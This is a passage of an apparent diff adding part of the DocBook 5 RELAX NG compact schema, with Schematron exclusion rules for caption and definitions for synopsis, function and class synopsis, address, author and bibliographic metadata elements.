~ + " " + s:rule [ + context = "db:caption" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:tip)" + "tip must not occur in the descendants of caption" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:caption" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:warning)" + "warning must not occur in the descendants of caption" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:caption" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:sidebar)" + "sidebar must not occur in the descendants of caption" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:caption" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:task)" + "task must not occur in the descendants of caption" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element caption { + db.caption.attlist, db.caption.info, db.all.blocks+ + } +} +div { + db.synopsis.role.attribute = attribute role { text } + db.synopsis.label.attribute = db.label.attribute + db.synopsis.attlist = + db.synopsis.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.verbatim.attributes + & db.synopsis.label.attribute? + db.synopsis = + + ## A general-purpose element for representing the syntax of commands or functions + element synopsis { db.synopsis.attlist, db.verbatim.contentmodel } +} +div { + db.cmdsynopsis.role.attribute = attribute role { text } + db.cmdsynopsis.sepchar.attribute = + + ## Specifies the character that should separate the command and its top-level arguments + attribute sepchar { text } + db.cmdsynopsis.cmdlength.attribute = + + ## Indicates the displayed length of the command; this information may be used to intelligently indent command synopses which extend beyond one line + attribute cmdlength { text } + db.cmdsynopsis.label.attribute = db.label.attribute + db.cmdsynopsis.attlist = + db.cmdsynopsis.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.cmdsynopsis.sepchar.attribute? + & db.cmdsynopsis.cmdlength.attribute? + & db.cmdsynopsis.label.attribute? + db.cmdsynopsis.info = db._info.title.forbidden + db.cmdsynopsis = + + ## A syntax summary for a software command + element cmdsynopsis { + db.cmdsynopsis.attlist, + db.cmdsynopsis.info, + (db.command | db.arg | db.group | db.sbr)+, + db.synopfragment* + } +} +db.rep.enumeration = + + ## Can not be repeated. + "norepeat" + | + ## Can be repeated. + "repeat" +db.rep.attribute = + + ## Indicates whether or not repetition is possible. + [ a:defaultValue = "norepeat" ] attribute rep { db.rep.enumeration } +db.choice.enumeration = + + ## Formatted to indicate that it is optional. + "opt" + | + ## Formatted without indication. + "plain" + | + ## Formatted to indicate that it is required. + "req" +db.choice.opt.attribute = + + ## Indicates optionality. + [ a:defaultValue = "opt" ] attribute choice { db.choice.enumeration } +db.choice.req.attribute = + + ## Indicates optionality. + [ a:defaultValue = "req" ] attribute choice { db.choice.enumeration } +div { + db.arg.role.attribute = attribute role { text } + db.arg.rep.attribute = db.rep.attribute + db.arg.choice.attribute = db.choice.opt.attribute + db.arg.attlist = + db.arg.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.arg.rep.attribute? + & db.arg.choice.attribute? + db.arg = + + ## An argument in a CmdSynopsis + element arg { + db.arg.attlist, + (db._text + | db.arg + | db.group + | db.option + | db.synopfragmentref + | db.sbr)* + } +} +div { + db.group.role.attribute = attribute role { text } + db.group.rep.attribute = db.rep.attribute + db.group.choice.attribute = db.choice.opt.attribute + db.group.attlist = + db.group.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.group.rep.attribute? + & db.group.choice.attribute? + db.group = + + ## A group of elements in a CmdSynopsis + element group { + db.group.attlist, + (db.arg + | db.group + | db.option + | db.synopfragmentref + | db.replaceable + | db.sbr)+ + } +} +div { + db.sbr.role.attribute = attribute role { text } + db.sbr.attlist = db.sbr.role.attribute? & db.common.attributes + db.sbr = + + ## An explicit line break in a command synopsis + element sbr { db.sbr.attlist, empty } +} +div { + db.synopfragment.role.attribute = attribute role { text } + db.synopfragment.attlist = + db.synopfragment.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.synopfragment = + + ## A portion of a CmdSynopsis broken out from the main body of the synopsis + element synopfragment { + db.synopfragment.attlist, (db.arg | db.group)+ + } +} +div { + db.synopfragmentref.role.attribute = attribute role { text } + db.synopfragmentref.attlist = + db.synopfragmentref.role.attribute? + & db.common.attributes + & db.linkend.attribute + db.synopfragmentref = + + ## A reference to a fragment of a command synopsis + [ + s:pattern [ + name = "Synopsis fragment type constraint" + "\x{a}" ~ + " " + s:rule [ + context = "db:synopfragmentref" + "\x{a}" ~ + " " + s:assert [ + test = + "local-name(//*[@id=current()/@linkend]) = 'synopfragment' and namespace-uri(//*[@id=current()/@linkend]) = 'http://docbook.org/ns/docbook'" + "@linkend on synopfragmentref must point to a synopfragment." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element synopfragmentref { db.synopfragmentref.attlist, text } +} +div { + db.funcsynopsis.role.attribute = attribute role { text } + db.funcsynopsis.attlist = + db.funcsynopsis.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.language.attribute? + db.funcsynopsis.info = db._info.title.forbidden + db.funcsynopsis = + + ## The syntax summary for a function definition + element funcsynopsis { + db.funcsynopsis.attlist, + db.funcsynopsis.info, + (db.funcsynopsisinfo | db.funcprototype)+ + } +} +div { + db.funcsynopsisinfo.role.attribute = attribute role { text } + db.funcsynopsisinfo.attlist = + db.funcsynopsisinfo.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.verbatim.attributes + db.funcsynopsisinfo = + + ## Information supplementing the FuncDefs of a FuncSynopsis + element funcsynopsisinfo { + db.funcsynopsisinfo.attlist, db.verbatim.contentmodel + } +} +div { + db.funcprototype.role.attribute = attribute role { text } + db.funcprototype.attlist = + db.funcprototype.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.funcprototype = + + ## The prototype of a function + element funcprototype { + db.funcprototype.attlist, + db.modifier*, + db.funcdef, + (db.void | db.varargs | (db.paramdef+, db.varargs?)), + db.modifier* + } +} +div { + db.funcdef.role.attribute = attribute role { text } + db.funcdef.attlist = + db.funcdef.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.funcdef = + + ## A function (subroutine) name and its return type + element funcdef { + db.funcdef.attlist, (db._text | db.type | db.function)* + } +} +div { + db.void.role.attribute = attribute role { text } + db.void.attlist = + db.void.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.void = + + ## An empty element in a function synopsis indicating that the function in question takes no arguments + element void { db.void.attlist, empty } +} +div { + db.varargs.role.attribute = attribute role { text } + db.varargs.attlist = + db.varargs.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.varargs = + + ## An empty element in a function synopsis indicating a variable number of arguments + element varargs { db.varargs.attlist, empty } +} +div { + db.paramdef.role.attribute = attribute role { text } + db.paramdef.choice.enumeration = + + ## Formatted to indicate that it is optional. + "opt" + | + ## Formatted to indicate that it is required. + "req" + db.paramdef.choice.attribute = + + ## Indicates optionality. + [ a:defaultValue = "opt" ] + attribute choice { db.paramdef.choice.enumeration } + db.paramdef.attlist = + db.paramdef.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.paramdef.choice.attribute? + db.paramdef = + + ## Information about a function parameter in a programming language + element paramdef { + db.paramdef.attlist, + (db._text + | db.initializer + | db.type + | db.parameter + | db.funcparams)* + } +} +div { + db.funcparams.role.attribute = attribute role { text } + db.funcparams.attlist = + db.funcparams.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.funcparams = + + ## Parameters for a function referenced through a function pointer in a synopsis + element funcparams { db.funcparams.attlist, db._text } +} +div { + db.classsynopsis.role.attribute = attribute role { text } + db.classsynopsis.class.enumeration = + + ## This is the synopsis of a class + "class" + | + ## This is the synopsis of an interface + "interface" + db.classsynopsis.class.attribute = + + ## Specifies the nature of the synopsis + attribute class { db.classsynopsis.class.enumeration } + db.classsynopsis.attlist = + db.classsynopsis.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.language.attribute? + & db.classsynopsis.class.attribute? + db.classsynopsis = + + ## The syntax summary for a class definition + element classsynopsis { + db.classsynopsis.attlist, + db.oo.inlines+, + (db.classsynopsisinfo + | db.methodsynopsis + | db.constructorsynopsis + | db.destructorsynopsis + | db.fieldsynopsis)* + } +} +div { + db.classsynopsisinfo.role.attribute = attribute role { text } + db.classsynopsisinfo.attlist = + db.classsynopsisinfo.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.verbatim.attributes + db.classsynopsisinfo = + + ## Information supplementing the contents of a ClassSynopsis + element classsynopsisinfo { + db.classsynopsisinfo.attlist, db.verbatim.contentmodel + } +} +div { + db.ooclass.role.attribute = attribute role { text } + db.ooclass.attlist = + db.ooclass.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.ooclass = + + ## A class in an object-oriented programming language + element ooclass { + db.ooclass.attlist, (db.package | db.modifier)*, db.classname + } +} +div { + db.oointerface.role.attribute = attribute role { text } + db.oointerface.attlist = + db.oointerface.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.oointerface = + + ## An interface in an object-oriented programming language + element oointerface { + db.oointerface.attlist, + (db.package | db.modifier)*, + db.interfacename + } +} +div { + db.ooexception.role.attribute = attribute role { text } + db.ooexception.attlist = + db.ooexception.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.ooexception = + + ## An exception in an object-oriented programming language + element ooexception { + db.ooexception.attlist, + (db.package | db.modifier)*, + db.exceptionname + } +} +div { + db.modifier.role.attribute = attribute role { text } + db.modifier.attlist = + db.modifier.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.modifier = + + ## Modifiers in a synopsis + element modifier { db.modifier.attlist, db._text } +} +div { + db.interfacename.role.attribute = attribute role { text } + db.interfacename.attlist = + db.interfacename.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.interfacename = + + ## The name of an interface + element interfacename { db.interfacename.attlist, db._text } +} +div { + db.exceptionname.role.attribute = attribute role { text } + db.exceptionname.attlist = + db.exceptionname.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.exceptionname = + + ## The name of an exception + element exceptionname { db.exceptionname.attlist, db._text } +} +div { + db.fieldsynopsis.role.attribute = attribute role { text } + db.fieldsynopsis.attlist = + db.fieldsynopsis.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.language.attribute? + db.fieldsynopsis = + + ## The name of a field in a class definition + element fieldsynopsis { + db.fieldsynopsis.attlist, + db.modifier*, + db.type?, + db.varname, + db.initializer? + } +} +div { + db.initializer.role.attribute = attribute role { text } + db.initializer.attlist = + db.initializer.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.initializer = + + ## The initializer for a FieldSynopsis + element initializer { db.initializer.attlist, db._text } +} +div { + db.constructorsynopsis.role.attribute = attribute role { text } + db.constructorsynopsis.attlist = + db.constructorsynopsis.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.language.attribute? + db.constructorsynopsis = + + ## A syntax summary for a constructor + element constructorsynopsis { + db.constructorsynopsis.attlist, + db.modifier*, + db.methodname?, + (db.methodparam+ | db.void?), + db.exceptionname* + } +} +div { + db.destructorsynopsis.role.attribute = attribute role { text } + db.destructorsynopsis.attlist = + db.destructorsynopsis.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.language.attribute? + db.destructorsynopsis = + + ## A syntax summary for a destructor + element destructorsynopsis { + db.destructorsynopsis.attlist, + db.modifier*, + db.methodname?, + (db.methodparam+ | db.void?), + db.exceptionname* + } +} +div { + db.methodsynopsis.role.attribute = attribute role { text } + db.methodsynopsis.attlist = + db.methodsynopsis.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.language.attribute? + db.methodsynopsis = + + ## A syntax summary for a method + element methodsynopsis { + db.methodsynopsis.attlist, + db.modifier*, + (db.type | db.void)?, + db.methodname, + (db.methodparam+ | db.void), + db.exceptionname*, + db.modifier* + } +} +div { + db.methodname.role.attribute = attribute role { text } + db.methodname.attlist = + db.methodname.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.methodname = + + ## The name of a method + element methodname { db.methodname.attlist, db._text } +} +div { + db.methodparam.role.attribute = attribute role { text } + db.methodparam.rep.attribute = db.rep.attribute + db.methodparam.choice.attribute = db.choice.req.attribute + db.methodparam.attlist = + db.methodparam.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.methodparam.rep.attribute? + & db.methodparam.choice.attribute? + db.methodparam = + + ## Parameters to a method + element methodparam { + db.methodparam.attlist, + db.modifier*, + db.type?, + ((db.parameter, db.initializer?) | db.funcparams), + db.modifier* + } +} +div { + db.address.role.attribute = attribute role { text } + db.address.attlist = + db.address.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.verbatim.attributes + db.address = + + ## A real-world address, generally a postal address + element address { + db.address.attlist, + (db._text + | db.personname + | db.pob + | db.street + | db.city + | db.state + | db.postcode + | db.country + | db.phone + | db.fax + | db.email + | db.otheraddr)* + } +} +div { + db.street.role.attribute = attribute role { text } + db.street.attlist = + db.street.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.street = + + ## A street address in an address + element street { db.street.attlist, db._text } +} +div { + db.pob.role.attribute = attribute role { text } + db.pob.attlist = + db.pob.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.pob = + + ## A post office box in an address + element pob { db.pob.attlist, db._text } +} +div { + db.postcode.role.attribute = attribute role { text } + db.postcode.attlist = + db.postcode.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.postcode = + + ## A postal code in an address + element postcode { db.postcode.attlist, db._text } +} +div { + db.city.role.attribute = attribute role { text } + db.city.attlist = + db.city.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.city = + + ## The name of a city in an address + element city { db.city.attlist, db._text } +} +div { + db.state.role.attribute = attribute role { text } + db.state.attlist = + db.state.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.state = + + ## A state or province in an address + element state { db.state.attlist, db._text } +} +div { + db.country.role.attribute = attribute role { text } + db.country.attlist = + db.country.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.country = + + ## The name of a country + element country { db.country.attlist, db._text } +} +div { + db.phone.role.attribute = attribute role { text } + db.phone.attlist = + db.phone.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.phone = + + ## A telephone number + element phone { db.phone.attlist, db._text } +} +div { + db.fax.role.attribute = attribute role { text } + db.fax.attlist = + db.fax.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.fax = + + ## A fax number + element fax { db.fax.attlist, db._text } +} +div { + db.otheraddr.role.attribute = attribute role { text } + db.otheraddr.attlist = + db.otheraddr.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.otheraddr = + + ## Uncategorized information in address + element otheraddr { db.otheraddr.attlist, db._text } +} +div { + db.affiliation.role.attribute = attribute role { text } + db.affiliation.attlist = + db.affiliation.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.affiliation = + + ## The institutional affiliation of an individual + element affiliation { + db.affiliation.attlist, + db.shortaffil?, + db.jobtitle*, + db.orgname?, + db.orgdiv*, + db.address* + } +} +div { + db.shortaffil.role.attribute = attribute role { text } + db.shortaffil.attlist = + db.shortaffil.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.shortaffil = + + ## A brief description of an affiliation + element shortaffil { db.shortaffil.attlist, db._text } +} +div { + db.jobtitle.role.attribute = attribute role { text } + db.jobtitle.attlist = + db.jobtitle.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.jobtitle = + + ## The title of an individual in an organization + element jobtitle { db.jobtitle.attlist, db._text } +} +div { + db.orgname.class.enumeration = + + ## A consortium + "consortium" + | + ## A corporation + "corporation" + | + ## An informal organization + "informal" + | + ## A non-profit organization + "nonprofit" + db.orgname.class-enum.attribute = + + ## Specifies the nature of the organization + attribute class { db.orgname.class.enumeration } + db.orgname.class-other.attributes = + + ## Specifies the nature of the organization + attribute class { + + ## Indicates a non-standard organization class + "other" + }, + + ## Identifies the non-standard nature of the organization + attribute otherclass { text } + db.orgname.class.attribute = + db.orgname.class-enum.attribute | db.orgname.class-other.attributes + db.orgname.role.attribute = attribute role { text } + db.orgname.attlist = + db.orgname.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.orgname.class.attribute? + db.orgname = + + ## The name of an organization other than a corporation + element orgname { db.orgname.attlist, db._text } +} +div { + db.orgdiv.role.attribute = attribute role { text } + db.orgdiv.attlist = + db.orgdiv.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.orgdiv = + + ## A division of an organization + element orgdiv { db.orgdiv.attlist, db.all.inlines* } +} +div { + db.artpagenums.role.attribute = attribute role { text } + db.artpagenums.attlist = + db.artpagenums.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.artpagenums = + + ## The page numbers of an article as published + element artpagenums { db.artpagenums.attlist, db._text } +} +div { + db.personname.role.attribute = attribute role { text } + db.personname.attlist = + db.personname.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.personname = + + ## The personal name of an individual + element personname { + db.personname.attlist, + (db._text + | (db.honorific + | db.firstname + | db.surname + | db.lineage + | db.othername)+) + } +} +db.person.author.contentmodel = + db.personname, + (db.personblurb + | db.affiliation + | db.email + | db.address + | db.contrib)* +db.org.author.contentmodel = + db.orgname, + (db.orgdiv | db.affiliation | db.email | db.address | db.contrib)* +db.credit.contentmodel = + db.person.author.contentmodel | db.org.author.contentmodel +div { + db.author.role.attribute = attribute role { text } + db.author.attlist = + db.author.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.author = + + ## The name of an individual author + element author { db.author.attlist, db.credit.contentmodel } +} +div { + db.authorgroup.role.attribute = attribute role { text } + db.authorgroup.attlist = + db.authorgroup.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.authorgroup = + + ## Wrapper for author information when a document has multiple authors or collabarators + element authorgroup { + db.authorgroup.attlist, (db.author | db.editor | db.othercredit)+ + } +} +div { + db.collab.role.attribute = attribute role { text } + db.collab.attlist = + db.collab.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.collab = + + ## Identifies a collaborator + element collab { + db.collab.attlist, (db.personname | db.orgname)+, db.affiliation* + } +} +div { + db.authorinitials.role.attribute = attribute role { text } + db.authorinitials.attlist = + db.authorinitials.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.authorinitials = + + ## The initials or other short identifier for an author + element authorinitials { db.authorinitials.attlist, db._text } +} +div { + db.confgroup.role.attribute = attribute role { text } + db.confgroup.attlist = + db.confgroup.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.confgroup = + + ## A wrapper for document meta-information about a conference + element confgroup { + db.confgroup.attlist, + (db.confdates + | db.conftitle + | db.confnum + | db.confsponsor + | db.address)* + } +} +div { + db.confdates.role.attribute = attribute role { text } + db.confdates.attlist = + db.confdates.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.confdates = + + ## The dates of a conference for which a document was written + element confdates { db.confdates.attlist, db._text } +} +div { + db.conftitle.role.attribute = attribute role { text } + db.conftitle.attlist = + db.conftitle.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.conftitle = + + ## The title of a conference for which a document was written + element conftitle { db.conftitle.attlist, db._text } +} +div { + db.confnum.role.attribute = attribute role { text } + db.confnum.attlist = + db.confnum.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.confnum = + + ## An identifier, frequently numerical, associated with a conference for which a document was written + element confnum { db.confnum.attlist, db._text } +} +div { + db.confsponsor.role.attribute = attribute role { text } + db.confsponsor.attlist = + db.confsponsor.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.confsponsor = + + ## The sponsor of a conference for which a document was written + element confsponsor { db.confsponsor.attlist, db._text } +} +div { + db.contractnum.role.attribute = attribute role { text } + db.contractnum.attlist = + db.contractnum.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.contractnum = + + ## The contract number of a document + element contractnum { db.contractnum.attlist, db._text } +} +div { + db.contractsponsor.role.attribute = attribute role { text } + db.contractsponsor.attlist = + db.contractsponsor.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.contractsponsor = + + ## The sponsor of a contract + element contractsponsor { db.contractsponsor.attlist, db._text } +} +div { + db.copyright.role.attribute = attribute role { text } + db.copyright.attlist = + db.copyright.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.copyright = + + ## Copyright information about a document + element copyright { db.copyright.attlist, db.year+, db.holder* } +} +div { + db.year.role.attribute = attribute role { text } + db.year.attlist = + db.year.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.year = + + ## The year of publication of a document + element year { db.year.attlist, db._text } +} +div { + db.holder.role.attribute = attribute role { text } + db.holder.attlist = + db.holder.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.holder = + + ## The name of the individual or organization that holds a copyright + element holder { db.holder.attlist, db._text } +} +db.cover.contentmodel = + (db.para.blocks + | db.extension.blocks + | db.list.blocks + | db.informal.blocks + | db.publishing.blocks + | db.graphic.blocks + | db.technical.blocks + | db.verbatim.blocks + | db.bridgehead + | db.synopsis.blocks + | db.remark + | db.revhistory)+ +div { + db.cover.role.attribute = attribute role { text } + db.cover.attlist = + db.cover.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.cover = + + ## Additional content for the cover of a publication + element cover { db.cover.attlist, db.cover.contentmodel } +} +db.date.contentmodel = + xsd:date | xsd:dateTime | xsd:gYearMonth | xsd:gYear | text +div { + db.date.role.attribute = attribute role { text } + db.date.attlist = + db.date.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.date = + + ## The date of publication or revision of a document + element date { db.date.attlist, db.date.contentmodel } +} +div { + db.edition.role.attribute = attribute role { text } + db.edition.attlist = + db.edition.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.edition = + + ## The name or number of an edition of a document + element edition { db.edition.attlist, db._text } +} +div { + db.editor.role.attribute = attribute role { text } + db.editor.attlist = + db.editor.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.editor = + + ## The name of the editor of a document + element editor { db.editor.attlist, db.credit.contentmodel } +} +div { + db.biblioid.role.attribute = attribute role { text } + db.biblioid.attlist = + db.biblioid.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.biblio.class.attribute + db.biblioid = + + ## An identifier for a document + element biblioid { db.biblioid.attlist, db._text } +} +div { + db.citebiblioid.role.attribute = attribute role { text } + db.citebiblioid.attlist = + db.citebiblioid.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.biblio.class.attribute + db.citebiblioid = + + ## A citation of a bibliographic identifier + element citebiblioid { db.citebiblioid.attlist, db._text } +} +div { + db.bibliosource.role.attribute = attribute role { text } + db.bibliosource.attlist = + db.bibliosource.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.biblio.class.attribute + db.bibliosource = + + ## The source of a document + element bibliosource { db.bibliosource.attlist, db._text } +} +div { + db.bibliorelation.type.enumeration = + + ## The described resource pre-existed the referenced resource, which is essentially the same intellectual content presented in another format + "hasformat" + | + ## The described resource includes the referenced resource either physically or logically + "haspart" + | + ## The described resource has a version, edition, or adaptation, namely, the referenced resource + "hasversion" + | + ## The described resource is the same intellectual content of the referenced resource, but presented in another format + "isformatof" + | + ## The described resource is a physical or logical part of the referenced resource + "ispartof" + | + ## The described resource is referenced, cited, or otherwise pointed to by the referenced resource + "isreferencedby" + | + ## The described resource is supplanted, displaced, or superceded by the referenced resource + "isreplacedby" + | + ## The described resource is required by the referenced resource, either physically or logically + "isrequiredby" + | + ## The described resource is a version, edition, or adaptation of the referenced resource; changes in version imply substantive changes in content rather than differences in format + "isversionof" + | + ## The described resource references, cites, or otherwise points to the referenced resource + "references" + | + ## The described resource supplants, displaces, or supersedes the referenced resource + "replaces" + | + ## The described resource requires the referenced resource to support its function, delivery, or coherence of content + "requires" + db.bibliorelation.type-enum.attribute = + + ## Identifies the type of relationship + attribute type { db.bibliorelation.type.enumeration }? + db.bibliorelation.type-other.attributes = + + ## Identifies the type of relationship + attribute type { + + ## The described resource has a non-standard relationship with the referenced resource + "othertype" + }?, + + ## A keyword that identififes the type of the non-standard relationship + attribute othertype { xsd:NMTOKEN } + db.bibliorelation.type.attribute = + db.bibliorelation.type-enum.attribute + | db.bibliorelation.type-other.attributes + db.bibliorelation.role.attribute = attribute role { text } + db.bibliorelation.attlist = + db.bibliorelation.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.biblio.class.attribute + & db.bibliorelation.type.attribute + db.bibliorelation = + + ## The relationship of a document to another + element bibliorelation { db.bibliorelation.attlist, db._text } +} +div { + db.bibliocoverage.spacial.enumeration = + + ## The DCMI Point identifies a point in space using its geographic coordinates + "dcmipoint" + | + ## ISO 3166 Codes for the representation of names of countries + "iso3166" + | + ## The DCMI Box identifies a region of space using its geographic limits + "dcmibox" + | + ## The Getty Thesaurus of Geographic Names + "tgn" + db.bibliocoverage.spatial-enum.attribute = + + ## Specifies the type of spatial coverage + attribute spatial { db.bibliocoverage.spacial.enumeration }? + db.bibliocoverage.spatial-other.attributes = + + ## Specifies the type of spatial coverage + attribute spatial { + + ## Identifies a non-standard type of coverage + "otherspatial" + }?, + + ## A keyword that identifies the type of non-standard coverage + attribute otherspatial { xsd:NMTOKEN } + db.bibliocoverage.spatial.attribute = + db.bibliocoverage.spatial-enum.attribute + | db.bibliocoverage.spatial-other.attributes + db.bibliocoverage.temporal.enumeration = + + ## A specification of the limits of a time interval + "dcmiperiod" + | + ## W3C Encoding rules for dates and times—a profile based on ISO 8601 + "w3c-dtf" + db.bibliocoverage.temporal-enum.attribute = + + ## Specifies the type of temporal coverage + attribute temporal { db.bibliocoverage.temporal.enumeration }? + db.bibliocoverage.temporal-other.attributes = + + ## Specifies the type of temporal coverage + attribute temporal { + + ## Specifies a non-standard type of coverage + "othertemporal" + }?, + + ## A keyword that identifies the type of non-standard coverage + attribute othertemporal { xsd:NMTOKEN } + db.bibliocoverage.temporal.attribute = + db.bibliocoverage.temporal-enum.attribute + | db.bibliocoverage.temporal-other.attributes + db.bibliocoverage.coverage.attrib = + db.bibliocoverage.spatial.attribute + & db.bibliocoverage.temporal.attribute + db.bibliocoverage.role.attribute = attribute role { text } + db.bibliocoverage.attlist = + db.bibliocoverage.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.bibliocoverage.coverage.attrib + db.bibliocoverage = + + ## The spatial or temporal coverage of a document + element bibliocoverage { db.bibliocoverage.attlist, db._text } +} +div { + db.legalnotice.role.attribute = attribute role { text } + db.legalnotice.attlist = + db.legalnotice.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.legalnotice.info = db._info.title.only + db.legalnotice = + + ## A statement of legal obligations or requirements + element legalnotice { + db.legalnotice.attlist, db.legalnotice.info, db.all.blocks+ + } +} +div { + db.othercredit.class.enumeration = + + ## A copy editor + "copyeditor" + | + ## A graphic designer + "graphicdesigner" + | + ## Some other contributor + "other" + | + ## A production editor + "productioneditor" + | + ## A technical editor + "technicaleditor" + | + ## A translator + "translator" + db.othercredit.class-enum.attribute = + + ## Identifies the nature of the contributor + attribute class { db.othercredit.class.enumeration }? + db.othercredit.class-other.attribute = + + ## Identifies the nature of the non-standard contribution + attribute otherclass { xsd:NMTOKEN } + db.othercredit.class-other.attributes = + + ## Identifies the nature of the contributor + attribute class { + + ## Identifies a non-standard contribution + "other" + } + & db.othercredit.class-other.attribute + db.othercredit.class.attribute = + db.othercredit.class-enum.attribute + | db.othercredit.class-other.attributes + db.othercredit.role.attribute = attribute role { text } + db.othercredit.attlist = + db.othercredit.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.othercredit.class.attribute + db.othercredit = + + ## A person or entity, other than an author or editor, credited in a document + element othercredit { + db.othercredit.attlist, db.credit.contentmodel + } +} +div { + db.pagenums.role.attribute = attribute role { text } + db.pagenums.attlist = + db.pagenums.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.pagenums = + + ## The numbers of the pages in a book, for use in a bibliographic entry + element pagenums { db.pagenums.attlist, db._text } +} +div { + db.contrib.role.attribute = attribute role { text } + db.contrib.attlist = + db.contrib.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.contrib = + + ## A summary of the contributions made to a document by a credited source + element contrib { db.contrib.attlist, db._text } +} +div { + db.honorific.role.attribute = attribute role { text } + db.honorific.attlist = + db.honorific.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.honorific = + + ## The title of a person + element honorific { db.honorific.attlist, db._text } +} +div { + db.firstname.role.attribute = attribute role { text } + db.firstname.attlist = + db.firstname.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.firstname = + + ## The first name of a person + element firstname { db.firstname.attlist, db._text } +} +div { + db.surname.role.attribute = attribute role { text } + db.surname.attlist = + db.surname.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.surname = + + ## A family name; in western cultures the last name + element surname { db.surname.attlist, db._text } +} +div { + db.lineage.role.attribute = attribute role { text } + db.lineage.attlist = + db.lineage.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.lineage = + + ## The portion of a person's name indicating a relationship to ancestors + element lineage { db.lineage.attlist, db._text } +} +div { + db.othername.role.attribute = attribute role { text } + db.othername.attlist = + db.othername.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.othername = + + ## A component of a persons name that is not a first name, surname, or lineage + element othername { db.othername.attlist, db._text } +} +div { + db.printhistory.role.attribute = attribute role { text } + db.printhistory.attlist = + db.printhistory.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.printhistory = + + ## The printing history of a document + element printhistory { db.printhistory.attlist, db.para.blocks+ } +} +div { + db.productname.role.attribute = attribute role { text } + db.productname.class.enumeration = + + ## A name with a copyright + "copyright" + | + ## A name with a registered copyright + "registered" + | 